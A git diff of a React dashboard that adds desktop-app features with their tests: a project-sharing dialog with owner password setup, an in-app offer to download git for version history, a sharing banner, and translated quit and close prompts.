+ it('is nothing while a project is being built, in the classic workspace, in an older app, and when the app does not answer', async () => {
+ for (const project of [{ shareInfo: () => Promise.resolve(null), showShared: vi.fn() }, {}, undefined, { shareInfo: () => Promise.reject(new Error('gone')), showShared: vi.fn() }]) {
+ withBridge(project);
+ render( );
+ await Promise.resolve();
+ await Promise.resolve();
+ expect(screen.queryByRole('status')).toBeNull();
+ cleanup();
+ }
+ });
+});
diff --git a/apps/dashboard/src/designer/parts/DesktopShare.tsx b/apps/dashboard/src/designer/parts/DesktopShare.tsx
new file mode 100644
index 000000000..9ae7111d8
--- /dev/null
+++ b/apps/dashboard/src/designer/parts/DesktopShare.tsx
@@ -0,0 +1,157 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * "Share", from the Designer inside the desktop app: the steps before a
+ * project is put on the network. First how the owner signs in from other
+ * devices (only when they have no password yet: on this computer they never
+ * needed one), then what sharing means, then the switch. The switch is the
+ * app's: the Designer goes off, and the window shows the addresses.
+ */
+import { useState, type FormEvent, type ReactNode } from 'react';
+import { useQuery, useQueryClient } from '@tanstack/react-query';
+import { HardDrive, LockOpen, RadioTower, ShieldCheck, Wifi } from 'lucide-react';
+import { Button, FormField, Input, Modal, ModalBody, ModalFooter, ModalHeader } from '@adminium/ui';
+
+import { ApiError } from '../../app/api.js';
+import { t } from '../../i18n/t.js';
+import { getDesktopApi } from '../../lib/desktop-runtime.js';
+import { designerApi, designerKeys, designerStateQuery } from '../api.js';
+
+export function ShareDialog({ open, onOpenChange }: { open: boolean; onOpenChange: (open: boolean) => void }): ReactNode {
+ const queryClient = useQueryClient();
+ const state = useQuery({ ...designerStateQuery(), enabled: open, retry: false });
+ /** The app said so too: a password is asked for even if this page thought there was one. */
+ const [mustSet, setMustSet] = useState(false);
+ const needsPassword = mustSet || state.data?.ownerNeedsPassword === true;
+ const [passwordDone, setPasswordDone] = useState(false);
+ const [email, setEmail] = useState('');
+ const [password, setPassword] = useState('');
+ const [again, setAgain] = useState('');
+ const [problem, setProblem] = useState<{ field: 'email' | 'password' | 'again' | 'form'; text: string } | null>(null);
+ const [busy, setBusy] = useState(false);
+
+ const onPassword = needsPassword && !passwordDone;
+ // Two steps once a password was asked for in this dialog, also after it was set (the count does not shrink under the person).
+ const steps = needsPassword || passwordDone ? 2 : 1;
+ const step = onPassword ? 1 : steps;
+
+ const savePassword = (event: FormEvent): void => {
+ event.preventDefault();
+ if (password !== again) {
+ setProblem({ field: 'again', text: t('designer:banner.ownerMismatch', 'The two passwords are not the same.') });
+ return;
+ }
+ setProblem(null);
+ setBusy(true);
+ designerApi
+ .setOwnerPassword({ email: email.trim(), password })
+ .then(async () => {
+ setPassword('');
+ setAgain('');
+ setPasswordDone(true);
+ await queryClient.invalidateQueries({ queryKey: designerKeys.state });
+ })
+ .catch((error: unknown) => {
+ const details = error instanceof ApiError ? (error.details as { reason?: string } | undefined) : undefined;
+ setProblem({ field: details?.reason === 'EMAIL' ? 'email' : details?.reason === 'PASSWORD' ? 'password' : 'form', text: error instanceof Error ? error.message : String(error) });
+ })
+ .finally(() => setBusy(false));
+ };
+
+ const share = (): void => {
+ const project = getDesktopApi()?.project;
+ if (project?.share === undefined) return;
+ setProblem(null);
+ setBusy(true);
+ project
+ .share()
+ .then((result) => {
+ // 'shared': the app is already taking the window to the addresses; this page is about to be gone.
+ if (result.status === 'shared') return;
+ setBusy(false);
+ if (result.status === 'needs-password') {
+ setMustSet(true);
+ setPasswordDone(false);
+ } else if (result.status === 'kept-working') onOpenChange(false);
+ else setProblem({ field: 'form', text: result.detail });
+ })
+ .catch((error: unknown) => {
+ setBusy(false);
+ setProblem({ field: 'form', text: error instanceof Error ? error.message : String(error) });
+ });
+ };
+
+ return (
+ (busy ? undefined : onOpenChange(next))} size="lg" className="max-w-[560px] rounded-[20px] leading-[normal]">
+ }
+ title={onPassword ? t('designer:share.passwordTitle', 'Choose how you sign in from other devices') : t('designer:share.beforeTitle', 'Before you share')}
+ subtitle={{t('designer:share.step', 'Share · {step} of {steps}', { step, steps })} }
+ />
+ {onPassword ? (
+
+ ) : (
+ <>
+
+
+
+
+ {t('designer:share.reach', 'People on this network can reach this project while it is shared. Each of them signs in.')}
+
+
+
+ {t('designer:share.dataStays', 'Your project’s data stays on this computer.')}
+
+
+
+ {t('designer:share.firewall', 'Your computer may ask whether Adminium may accept connections. Choose Allow.')}
+
+
+
+
+ {t('designer:share.notEncrypted', 'Traffic on your local network is not encrypted. Share only on a network you trust. An app you opened to the public can be used there without a sign-in.')}
+
+ {t('designer:share.designerOff', 'The Designer is off while the project is shared. You come back to it with “Go back to building”.')}
+ {problem?.field === 'form' ? (
+
+ {problem.text}
+
+ ) : null}
+
+
+ onOpenChange(false)}>
+ {t('designer:share.cancel', 'Cancel')}
+
+
+
+ {busy ? t('designer:share.sharing', 'Sharing…') : t('designer:share.now', 'Share now')}
+
+
+ >
+ )}
+
+ );
+}
diff --git a/apps/dashboard/src/designer/parts/DesktopVersions.test.tsx b/apps/dashboard/src/designer/parts/DesktopVersions.test.tsx
new file mode 100644
index 000000000..fa196929d
--- /dev/null
+++ b/apps/dashboard/src/designer/parts/DesktopVersions.test.tsx
@@ -0,0 +1,193 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { act, cleanup, render, screen, waitFor } from '@testing-library/react';
+import { userEvent } from '@testing-library/user-event';
+import type { AdminiumDesktopApi, DesktopVersionsApi, DesktopVersionsState } from '@adminium/desktop/api';
+import { useState } from 'react';
+import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest';
+
+import { installTestI18n } from '../../i18n/testing.js';
+import { TurnVersionsOn, useDesktopVersions, VersionsCard, VersionsOfferDialog } from './DesktopVersions.js';
+
+let restore: () => void;
+beforeAll(() => {
+ restore = installTestI18n();
+});
+afterAll(() => restore());
+afterEach(() => {
+ cleanup();
+ vi.useRealTimers();
+ Reflect.deleteProperty(window, 'adminiumDesktop');
+});
+
+const OFFER: DesktopVersionsState = { on: false, declined: false, megabytes: 62, appleTools: true, download: { phase: 'idle' } };
+
+/** A bridge whose answers the test moves along. */
+function bridge(first: DesktopVersionsState = OFFER, over: Partial = {}) {
+ let now = first;
+ const set = (next: DesktopVersionsState): DesktopVersionsState => (now = next);
+ const api: DesktopVersionsApi = {
+ state: vi.fn(() => Promise.resolve(now)),
+ download: vi.fn(() => Promise.resolve(set({ ...now, download: { phase: 'downloading', received: 0, total: 62_348_987 } }))),
+ cancel: vi.fn(() => Promise.resolve(set({ ...now, download: { phase: 'idle' } }))),
+ notNow: vi.fn(() => Promise.resolve(set({ ...now, declined: true }))),
+ lookAgain: vi.fn(() => Promise.resolve(now)),
+ appleTools: vi.fn(() => Promise.resolve(now)),
+ ...over,
+ };
+ Object.defineProperty(window, 'adminiumDesktop', {
+ value: { platform: 'darwin', project: { info: () => Promise.resolve(null), showInFolder: () => Promise.resolve(), close: () => Promise.resolve(true), versions: api } } as unknown as AdminiumDesktopApi,
+ configurable: true,
+ });
+ return { api, set };
+}
+
+function Home({ onTurnedOn }: { onTurnedOn?: () => void }) {
+ const versions = useDesktopVersions(onTurnedOn);
+ const [reopened, setReopened] = useState(false);
+ return (
+ <>
+
+ What do you want to build?
+ setReopened(true)} />
+ >
+ );
+}
+
+describe('the offer to keep versions, on Home', () => {
+ it('is nothing in a browser, in an app older than the offer, and where versions are on', async () => {
+ render( );
+ expect(screen.queryByRole('heading', { name: 'Keep versions of your work?' })).toBeNull();
+ cleanup();
+
+ Object.defineProperty(window, 'adminiumDesktop', { value: { platform: 'darwin', project: {} } as unknown as AdminiumDesktopApi, configurable: true });
+ render( );
+ await Promise.resolve();
+ expect(screen.queryByRole('heading', { name: 'Keep versions of your work?' })).toBeNull();
+ cleanup();
+
+ const { api } = bridge({ ...OFFER, on: true });
+ render( );
+ await waitFor(() => expect(api.state).toHaveBeenCalled());
+ expect(screen.queryByRole('heading', { name: 'Keep versions of your work?' })).toBeNull();
+ expect(screen.queryByRole('button', { name: 'Turn versions on' })).toBeNull();
+ });
+
+ it('offers the download with its size, "Not now", and Apple’s road on a Mac; nothing is fetched until asked', async () => {
+ const { api } = bridge();
+ render( );
+ expect(await screen.findByRole('heading', { name: 'Keep versions of your work?' })).toBeTruthy();
+ expect(screen.getByRole('button', { name: 'Download git (62 MB)' })).toBeTruthy();
+ expect(screen.getByRole('button', { name: 'Not now' })).toBeTruthy();
+ expect(screen.getByText(/Or install Apple’s developer tools/)).toBeTruthy();
+ expect(api.download).not.toHaveBeenCalled();
+
+ // Apple's installer is theirs to run; afterwards the link is "Look again".
+ await userEvent.click(screen.getByRole('button', { name: 'Install Apple’s tools' }));
+ expect(api.appleTools).toHaveBeenCalledTimes(1);
+ await userEvent.click(await screen.findByRole('button', { name: 'Look again' }));
+ expect(api.lookAgain).toHaveBeenCalledTimes(1);
+ });
+
+ it('has no Apple line off a Mac, and where there is no file to fetch it says so and can only look again', async () => {
+ bridge({ ...OFFER, appleTools: false, megabytes: null });
+ render( );
+ expect(await screen.findByText(/There is no git to download for this kind of computer/)).toBeTruthy();
+ expect(screen.queryByText(/Apple/)).toBeNull();
+ expect(screen.queryByRole('button', { name: /Download git/ })).toBeNull();
+ expect(screen.getByRole('button', { name: 'Look again' })).toBeTruthy();
+ });
+
+ it('"Not now" puts the card away and leaves a button that brings it back', async () => {
+ const { api } = bridge();
+ render( );
+ await userEvent.click(await screen.findByRole('button', { name: 'Not now' }));
+ expect(api.notNow).toHaveBeenCalledTimes(1);
+ await waitFor(() => expect(screen.queryByRole('heading', { name: 'Keep versions of your work?' })).toBeNull());
+ await userEvent.click(screen.getByRole('button', { name: 'Turn versions on' }));
+ expect(screen.getByRole('heading', { name: 'Keep versions of your work?' })).toBeTruthy();
+ // Said once already: the card that came back offers the download, not "Not now" again.
+ expect(screen.queryByRole('button', { name: 'Not now' })).toBeNull();
+ expect(screen.queryByRole('button', { name: 'Turn versions on' })).toBeNull();
+ });
+
+ it('shows how far the download is, asks again while it runs, and says once that versions are on', async () => {
+ vi.useFakeTimers({ shouldAdvanceTime: true });
+ const { api, set } = bridge();
+ const turnedOn = vi.fn();
+ render( );
+ await userEvent.click(await screen.findByRole('button', { name: 'Download git (62 MB)' }));
+ const bar = await screen.findByRole('progressbar', { name: 'Downloading git' });
+ expect(bar.getAttribute('aria-valuemax')).toBe('62');
+ expect(screen.getByRole('status').textContent).toBe('0 of 62 MB');
+
+ set({ ...OFFER, download: { phase: 'downloading', received: 38_000_000, total: 62_348_987 } });
+ await act(() => vi.advanceTimersByTimeAsync(500));
+ expect(screen.getByRole('status').textContent).toBe('38 of 62 MB');
+ expect(screen.getByRole('progressbar').getAttribute('aria-valuenow')).toBe('38');
+
+ set({ ...OFFER, on: true });
+ await act(() => vi.advanceTimersByTimeAsync(500));
+ expect(screen.queryByRole('heading', { name: 'Keep versions of your work?' })).toBeNull();
+ expect(turnedOn).toHaveBeenCalledTimes(1);
+ // Nothing is asked once there is nothing to wait for.
+ const asked = vi.mocked(api.state).mock.calls.length;
+ await act(() => vi.advanceTimersByTimeAsync(2000));
+ expect(vi.mocked(api.state).mock.calls.length).toBe(asked);
+ });
+
+ it('Cancel stops it and the offer is back', async () => {
+ const { api } = bridge();
+ render( );
+ await userEvent.click(await screen.findByRole('button', { name: 'Download git (62 MB)' }));
+ await userEvent.click(await screen.findByRole('button', { name: 'Cancel' }));
+ expect(api.cancel).toHaveBeenCalledTimes(1);
+ expect(await screen.findByRole('button', { name: 'Download git (62 MB)' })).toBeTruthy();
+ });
+
+ it.each([
+ ['wrong-file', 'The download did not match what Adminium expected and was deleted.'],
+ ['no-connection', 'Could not reach the internet. Check your connection and try again.'],
+ ['failed', 'git could not be set up on this computer.'],
+ ] as const)('says why a download did not finish (%s) and offers to try again', async (reason, words) => {
+ const { api } = bridge({ ...OFFER, declined: true, download: { phase: 'failed', reason } });
+ render( );
+ // Shown even after an earlier "Not now": a failure the person caused by asking is theirs to see.
+ expect((await screen.findByRole('alert')).textContent).toBe(words);
+ await userEvent.click(screen.getByRole('button', { name: 'Try again' }));
+ expect(api.download).toHaveBeenCalledTimes(1);
+ });
+
+ it('a bridge that fails to answer leaves the page as it is', async () => {
+ const { api } = bridge(OFFER, { state: vi.fn(() => Promise.reject(new Error('gone'))) });
+ render( );
+ await waitFor(() => expect(api.state).toHaveBeenCalled());
+ expect(screen.queryByRole('heading', { name: 'Keep versions of your work?' })).toBeNull();
+ });
+});
+
+function Page() {
+ const versions = useDesktopVersions();
+ const [open, setOpen] = useState(true);
+ return versions === null ? null : (
+ <>
+ {open ? 'open' : 'closed'}
+
+ >
+ );
+}
+
+describe('the same offer on the build page', () => {
+ it('is a dialog with the offer in it, and closes itself when versions come on', async () => {
+ vi.useFakeTimers({ shouldAdvanceTime: true });
+ const { set } = bridge({ ...OFFER, declined: true });
+ render( );
+ const dialog = await screen.findByRole('dialog', { name: 'Keep versions of your work?' });
+ expect(dialog.textContent).toContain('This computer has none.');
+ await userEvent.click(screen.getByRole('button', { name: 'Download git (62 MB)' }));
+ await screen.findByRole('progressbar');
+ set({ ...OFFER, on: true });
+ await act(() => vi.advanceTimersByTimeAsync(500));
+ await waitFor(() => expect(screen.getByText('closed')).toBeTruthy());
+ expect(screen.queryByRole('dialog')).toBeNull();
+ });
+});
diff --git a/apps/dashboard/src/designer/parts/DesktopVersions.tsx b/apps/dashboard/src/designer/parts/DesktopVersions.tsx
new file mode 100644
index 000000000..84f4bdbc2
--- /dev/null
+++ b/apps/dashboard/src/designer/parts/DesktopVersions.tsx
@@ -0,0 +1,272 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * The offer to keep versions, inside the desktop app on a computer with no git:
+ * the card above Home's heading, the button that brings it back after "Not
+ * now", and the same offer in a dialog for the build page's version menu.
+ *
+ * Nothing here renders anywhere else: in a browser there is no bridge, in the
+ * classic workspace and in an app older than the offer the bridge has no
+ * `versions`, and with a git on the computer there is nothing to offer.
+ *
+ * Nothing is fetched until the person presses "Download git".
+ */
+import { useCallback, useEffect, useId, useRef, useState, type ReactNode } from 'react';
+import { CircleAlert, Download, History, RotateCw, ShieldAlert } from 'lucide-react';
+import type { DesktopVersionsApi, DesktopVersionsState } from '@adminium/desktop/api';
+import { Modal, ModalHeader } from '@adminium/ui';
+
+import { t } from '../../i18n/t.js';
+import { getDesktopApi } from '../../lib/desktop-runtime.js';
+
+/** How often the page asks how far a download is. */
+const ASK_MS = 500;
+
+export interface DesktopVersions {
+ readonly state: DesktopVersionsState;
+ download(): void;
+ cancel(): void;
+ notNow(): void;
+ lookAgain(): void;
+ appleTools(): void;
+}
+
+/**
+ * What the app knows of git here, and the offer's buttons; `null` where there
+ * is no offer to make (not the app, not a project, not known yet).
+ * `onTurnedOn` is called once when versions come on while the page is open.
+ */
+export function useDesktopVersions(onTurnedOn?: () => void): DesktopVersions | null {
+ const api: DesktopVersionsApi | undefined = getDesktopApi()?.project?.versions;
+ const [state, setState] = useState(null);
+ const wasOn = useRef(null);
+ const turnedOn = useRef(onTurnedOn);
+ turnedOn.current = onTurnedOn;
+
+ const take = useCallback((next: DesktopVersionsState): void => {
+ if (wasOn.current === false && next.on) turnedOn.current?.();
+ wasOn.current = next.on;
+ setState(next);
+ }, []);
+
+ useEffect(() => {
+ if (api === undefined) return;
+ let live = true;
+ void api.state().then(
+ (next) => {
+ if (live) take(next);
+ },
+ () => undefined,
+ );
+ return () => {
+ live = false;
+ };
+ }, [api, take]);
+
+ const downloading = state?.download.phase === 'downloading';
+ useEffect(() => {
+ if (api === undefined || !downloading) return;
+ let live = true;
+ const timer = setInterval(() => {
+ void api.state().then(
+ (next) => {
+ if (live) take(next);
+ },
+ () => undefined,
+ );
+ }, ASK_MS);
+ return () => {
+ live = false;
+ clearInterval(timer);
+ };
+ }, [api, downloading, take]);
+
+ if (api === undefined || state === null) return null;
+ const run = (call: () => Promise) => (): void => {
+ void call().then(take, () => undefined);
+ };
+ return {
+ state,
+ download: run(() => api.download()),
+ cancel: run(() => api.cancel()),
+ notNow: run(() => api.notNow()),
+ lookAgain: run(() => api.lookAgain()),
+ appleTools: run(() => api.appleTools()),
+ };
+}
+
+const megabytes = (bytes: number): number => Math.round(bytes / 1_000_000);
+
+function failureWords(reason: 'no-connection' | 'wrong-file' | 'failed'): string {
+ if (reason === 'wrong-file') return t('designer:versionsOffer.failed.wrongFile', 'The download did not match what Adminium expected and was deleted.');
+ if (reason === 'no-connection') return t('designer:versionsOffer.failed.noConnection', 'Could not reach the internet. Check your connection and try again.');
+ return t('designer:versionsOffer.failed.other', 'git could not be set up on this computer.');
+}
+
+const PRIMARY = 'inline-flex cursor-pointer items-center gap-[7px] rounded-[10px] border-0 bg-accent px-3.5 py-[9px] text-[13px] font-bold leading-[normal] text-accent-fg hover:bg-accent-hover focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-accent';
+const QUIET = 'cursor-pointer rounded-[10px] border border-border bg-surface px-3.5 py-[9px] text-[13px] font-bold leading-[normal] text-fg-muted hover:border-border-strong focus-visible:outline-2 focus-visible:outline-accent';
+export const VERSIONS_PILL = 'inline-flex cursor-pointer items-center gap-[7px] rounded-[20px] border border-border bg-surface px-3 py-[7px] text-[12.5px] font-bold leading-[normal] text-fg-muted hover:border-border-strong focus-visible:outline-2 focus-visible:outline-accent';
+
+/** The offer's own three forms: the buttons, the download's bar, or why it did not finish. */
+function OfferForms({ versions }: { versions: DesktopVersions }): ReactNode {
+ const { state } = versions;
+ // Apple's installer was asked for: its link becomes "Look again".
+ const [apple, setApple] = useState(false);
+ const asked = { apple, setApple };
+ return (
+ <>
+ {state.download.phase === 'idle' ? (
+ <>
+
+ {state.megabytes === null ? (
+
+
+ {t('designer:versionsOffer.lookAgain', 'Look again')}
+
+ ) : (
+
+
+ {t('designer:versionsOffer.download', 'Download git ({size} MB)', { size: state.megabytes })}
+
+ )}
+ {state.declined ? null : (
+
+ {t('designer:versionsOffer.notNow', 'Not now')}
+
+ )}
+
+ {state.megabytes === null ? (
+ {t('designer:versionsOffer.noDownload', 'There is no git to download for this kind of computer. Install git yourself, then look again.')}
+ ) : null}
+ {state.appleTools ? (
+
+ {t('designer:versionsOffer.apple', 'Or install Apple’s developer tools (about 1 GB), which include it.')}{' '}
+ {asked.apple ? (
+
+ {t('designer:versionsOffer.lookAgain', 'Look again')}
+
+ ) : (
+ {
+ asked.setApple(true);
+ versions.appleTools();
+ }}
+ >
+ {t('designer:versionsOffer.appleLink', 'Install Apple’s tools')}
+
+ )}
+
+ ) : null}
+ >
+ ) : null}
+
+ {state.download.phase === 'downloading' ? (
+
+
+
+ {t('designer:versionsOffer.progress', '{received} of {total} MB', { received: megabytes(state.download.received), total: megabytes(state.download.total) })}
+
+
+ {t('designer:versionsOffer.cancel', 'Cancel')}
+
+
+ ) : null}
+
+ {state.download.phase === 'failed' ? (
+ <>
+
+
+ {failureWords(state.download.reason)}
+
+
+
+
+ {t('designer:versionsOffer.tryAgain', 'Try again')}
+
+
+ >
+ ) : null}
+ >
+ );
+}
+
+const TITLE = (): string => t('designer:versionsOffer.title', 'Keep versions of your work?');
+const BODY = (): string => t('designer:versionsOffer.body', 'Adminium uses git to keep a version after every change, so you can go back. This computer has none.');
+
+
+const cardClass = (failed: boolean): string =>
+ `flex w-full items-start gap-3.5 rounded-[14px] border px-5 py-[18px] text-start shadow-sm ${failed ? 'border-danger/35 bg-[color-mix(in_srgb,var(--danger)_5%,var(--surface))]' : 'border-border bg-surface'}`;
+
+/**
+ * Home, above the heading: the card while the offer is open, nothing once
+ * versions are on, and nothing after "Not now" (the button under the lead
+ * brings it back: `reopened`).
+ */
+export function VersionsCard({ versions, reopened }: { versions: DesktopVersions | null; reopened: boolean }): ReactNode {
+ const headingId = useId();
+ if (versions === null || versions.state.on) return null;
+ const { state } = versions;
+ if (state.declined && !reopened && state.download.phase === 'idle') return null;
+ const failed = state.download.phase === 'failed';
+ return (
+
+
+ {failed ? : }
+
+
+
+ {TITLE()}
+
+
{BODY()}
+
+
+
+ );
+}
+
+/** Home, under the lead, after "Not now": the way back to the offer, for good. */
+export function TurnVersionsOn({ versions, reopened, onReopen }: { versions: DesktopVersions | null; reopened: boolean; onReopen: () => void }): ReactNode {
+ if (versions === null || versions.state.on || !versions.state.declined || reopened || versions.state.download.phase !== 'idle') return null;
+ return (
+
+
+ {t('designer:versionsOffer.turnOn', 'Turn versions on')}
+
+ );
+}
+
+/** The build page: the same offer in a dialog, opened from the version menu's "Turn versions on". */
+export function VersionsOfferDialog({ versions, open, onOpenChange }: { versions: DesktopVersions; open: boolean; onOpenChange: (open: boolean) => void }): ReactNode {
+ // Versions came on: there is nothing left to offer, and the menu shows them.
+ useEffect(() => {
+ if (open && versions.state.on) onOpenChange(false);
+ }, [open, versions.state.on, onOpenChange]);
+ const failed = versions.state.download.phase === 'failed';
+ return (
+
+ : }
+ title={TITLE()}
+ subtitle={{BODY()}
}
+ className="gap-[14px] px-[22px] pb-0 pt-[22px] [&>div:first-child]:size-[38px] [&>div:first-child]:rounded-[11px] [&>div:first-child_svg]:size-[19px]"
+ />
+
+
+
+
+ );
+}
diff --git a/apps/dashboard/src/designer/parts/TopBar.tsx b/apps/dashboard/src/designer/parts/TopBar.tsx
index 59ae1c5ec..f3fec6502 100644
--- a/apps/dashboard/src/designer/parts/TopBar.tsx
+++ b/apps/dashboard/src/designer/parts/TopBar.tsx
@@ -11,9 +11,10 @@
*/
import type { ReactNode } from 'react';
import { Link } from '@tanstack/react-router';
-import { Check, ChevronDown, Hexagon, Languages, LayoutDashboard, Moon, Sun } from 'lucide-react';
+import { Check, ChevronDown, Languages, LayoutDashboard, Moon, Sun } from 'lucide-react';
import { allLocales } from '@adminium/i18n';
import {
+ AdminiumMark,
DropdownMenu,
DropdownMenuContent,
DropdownMenuItem,
@@ -23,6 +24,7 @@ import {
} from '@adminium/ui';
import { t } from '../../i18n/t.js';
+import { BuildShare, ProjectButton, useDesktopProject } from './DesktopProject.js';
export function TopBar({ middle, end, dashboardLink = false, build = false }: { middle?: ReactNode; end?: ReactNode; dashboardLink?: boolean; build?: boolean }): ReactNode {
const resolved = useTheme();
@@ -30,6 +32,9 @@ export function TopBar({ middle, end, dashboardLink = false, build = false }: {
const dark = resolved.theme === 'dark';
const locales = allLocales().filter((locale) => locale.enabled);
const current = locales.find((locale) => locale.id === prefs.locale) ?? locales.find((locale) => locale.id === resolved.locale);
+ // Inside the desktop app, a project folder: its button, and Build | Share (Home has it in the middle).
+ const project = useDesktopProject();
+ const centre = middle ?? (project !== null && !build ? : undefined);
const themeLabel = dark ? t('designer:topbar.toLight', 'Switch to light theme') : t('designer:topbar.toDark', 'Switch to dark theme');
return (
@@ -37,17 +42,22 @@ export function TopBar({ middle, end, dashboardLink = false, build = false }: {
className={
build
? 'relative z-30 grid h-[52px] shrink-0 grid-cols-[auto_minmax(0,1fr)_auto] items-center gap-[14px] border-b border-border bg-surface px-4 leading-[normal] max-md:flex max-md:gap-1.5 max-md:px-3'
- : 'relative z-30 flex h-[58px] items-center gap-2.5 border-b border-border bg-surface px-[clamp(14px,3vw,28px)]'
+ : project !== null
+ ? 'relative z-30 grid h-[58px] grid-cols-[minmax(0,1fr)_auto_minmax(0,1fr)] items-center gap-3 border-b border-border bg-surface px-6'
+ : 'relative z-30 flex h-[58px] items-center gap-2.5 border-b border-border bg-surface px-[clamp(14px,3vw,28px)]'
}
>
-
-
-
-
- {t('designer:brand', 'Adminium Designer')}
-
- {middle === undefined ? null : {middle}
}
-
+
+
+
+
+
+
{t('designer:brand', 'Adminium Designer')}
+
+ {project === null ? null :
}
+
+ {centre === undefined ? null :
{centre}
}
+
{end}
{dashboardLink ? (
- {t('designer:topbar.dashboard', 'Open the dashboard')}
+ {t('designer:topbar.dashboard', 'Open the dashboard')}
) : null}
-
+
{t('designer:brand', 'Adminium Designer')}
diff --git a/apps/dashboard/src/designer/parts/showInFolderLabel.ts b/apps/dashboard/src/designer/parts/showInFolderLabel.ts
new file mode 100644
index 000000000..5fd69206d
--- /dev/null
+++ b/apps/dashboard/src/designer/parts/showInFolderLabel.ts
@@ -0,0 +1,9 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { t } from '../../i18n/t.js';
+
+/** The system's own name for where folders are looked at. */
+export function showInFolderLabel(platform: string | undefined): string {
+ if (platform === 'darwin') return t('designer:project.showFinder', 'Show in Finder');
+ if (platform === 'win32') return t('designer:project.showExplorer', 'Show in File Explorer');
+ return t('designer:project.showFiles', 'Show in the file manager');
+}
diff --git a/apps/dashboard/src/desktop/ShareBanner.tsx b/apps/dashboard/src/desktop/ShareBanner.tsx
new file mode 100644
index 000000000..55785394a
--- /dev/null
+++ b/apps/dashboard/src/desktop/ShareBanner.tsx
@@ -0,0 +1,41 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * Inside the desktop app, while the project this window holds is shared on the
+ * network: one line over the dashboard that says so, with the way back to the
+ * sharing details (the addresses, "Go back to building"). Nothing anywhere
+ * else: in a browser there is no bridge, and a project being built has the
+ * Designer's own bar.
+ */
+import { useEffect, useState, type ReactNode } from 'react';
+import { RadioTower } from 'lucide-react';
+
+import { t } from '../i18n/t.js';
+import { getDesktopApi } from '../lib/desktop-runtime.js';
+
+export function ShareBanner(): ReactNode {
+ const project = getDesktopApi()?.project;
+ const [shared, setShared] = useState(false);
+ useEffect(() => {
+ if (project?.shareInfo === undefined) return;
+ let live = true;
+ void project.shareInfo().then(
+ (info) => {
+ if (live) setShared(info !== null);
+ },
+ () => undefined,
+ );
+ return () => {
+ live = false;
+ };
+ }, [project]);
+ if (!shared || project?.showShared === undefined) return null;
+ return (
+
+
+ {t('desktop.shared.banner', 'This project is shared on your network. The Designer is off while it is.')}
+ void project.showShared?.()} className="cursor-pointer border-0 bg-transparent p-0 text-[12.5px] font-bold text-accent hover:underline">
+ {t('desktop.shared.details', 'Sharing details')}
+
+
+ );
+}
diff --git a/apps/dashboard/src/desktop/menuLabels.test.ts b/apps/dashboard/src/desktop/menuLabels.test.ts
index 87b9dd8a1..efd0020c2 100644
--- a/apps/dashboard/src/desktop/menuLabels.test.ts
+++ b/apps/dashboard/src/desktop/menuLabels.test.ts
@@ -11,7 +11,7 @@
import type { AdminiumDesktopApi, DesktopMenuLabels } from '@adminium/desktop/api';
import { afterEach, describe, expect, it, vi } from 'vitest';
-import { pushDesktopMenuLabels, resolveMenuLabels } from './menuLabels.js';
+import { pushDesktopMenuLabels, pushDesktopStopWords, resolveMenuLabels, resolveStopWords } from './menuLabels.js';
/** The key set `DesktopMenuLabels` requires — the shell rejects any subset. */
const MENU_KEYS = [
@@ -76,3 +76,31 @@ describe('pushDesktopMenuLabels', () => {
for (const value of Object.values(pushed)) expect(value).toBeTruthy();
});
});
+
+describe('the quit and close questions’ words', () => {
+ afterEach(() => {
+ Reflect.deleteProperty(window, 'adminiumDesktop');
+ });
+
+ it('are resolved through the translator, every one', () => {
+ const words = resolveStopWords((key) => `<${key}>`);
+ expect(Object.keys(words)).toHaveLength(13);
+ expect(words.shareAnyway).toBe('');
+ expect(words.turn).toBe('');
+ expect(words.keepWorking).toBe('');
+ expect(resolveStopWords((_key, fallback) => fallback).closeAnyway).toBe('Close anyway');
+ });
+
+ it('are handed to the app where it takes them, and nowhere else', async () => {
+ // A browser, and an app older than the call: nothing happens.
+ pushDesktopStopWords();
+ Object.defineProperty(window, 'adminiumDesktop', { value: { project: {} } as unknown as AdminiumDesktopApi, configurable: true });
+ pushDesktopStopWords();
+
+ const setStopWords = vi.fn(() => Promise.reject(new Error('closed')));
+ Object.defineProperty(window, 'adminiumDesktop', { value: { project: { setStopWords } } as unknown as AdminiumDesktopApi, configurable: true });
+ pushDesktopStopWords();
+ expect(setStopWords).toHaveBeenCalledWith(expect.objectContaining({ quitAnyway: 'Quit anyway' }));
+ await Promise.resolve();
+ });
+});
diff --git a/apps/dashboard/src/desktop/menuLabels.ts b/apps/dashboard/src/desktop/menuLabels.ts
index 1f9ed4920..cc3560d2b 100644
--- a/apps/dashboard/src/desktop/menuLabels.ts
+++ b/apps/dashboard/src/desktop/menuLabels.ts
@@ -24,7 +24,7 @@
* fallbacks mirror `menu.ts`'s `EN_US_MENU_LABELS` so a pre-i18n call (or a
* missing bundle) degrades to the same English the boot menu shows.
*/
-import type { DesktopMenuLabelKey, DesktopMenuLabels } from '@adminium/desktop/api';
+import type { DesktopMenuLabelKey, DesktopMenuLabels, DesktopStopWords } from '@adminium/desktop/api';
import { getDesktopApi } from '../lib/desktop-runtime.js';
import { t as appTranslate } from '../i18n/t.js';
@@ -75,3 +75,35 @@ export function pushDesktopMenuLabels(): void {
// locale is not worth a console error in the SPA.
});
}
+
+/**
+ * The quit and close questions (a native dialog, asked by the app while a
+ * project is in the middle of something), in the current language. Same road
+ * as the menu, for the same reason: the app holds no translations.
+ */
+export function resolveStopWords(translate: (key: string, fallback: string) => string = appTranslate): DesktopStopWords {
+ return {
+ turn: translate('desktop.stop.turn', 'The Designer is in the middle of a turn.'),
+ start: translate('desktop.stop.start', 'An app is being added to this project.'),
+ save: translate('desktop.stop.save', 'Your changes are being saved.'),
+ restore: translate('desktop.stop.restore', 'An earlier version is being put back.'),
+ style: translate('desktop.stop.style', 'The style is being changed.'),
+ other: translate('desktop.stop.other', 'This project is being changed.'),
+ quitDetail: translate('desktop.stop.quitDetail', 'If you quit now it is stopped where it is. What was already written stays.'),
+ closeDetail: translate('desktop.stop.closeDetail', 'If you close the project now it is stopped where it is. What was already written stays.'),
+ quitAnyway: translate('desktop.stop.quitAnyway', 'Quit anyway'),
+ closeAnyway: translate('desktop.stop.closeAnyway', 'Close anyway'),
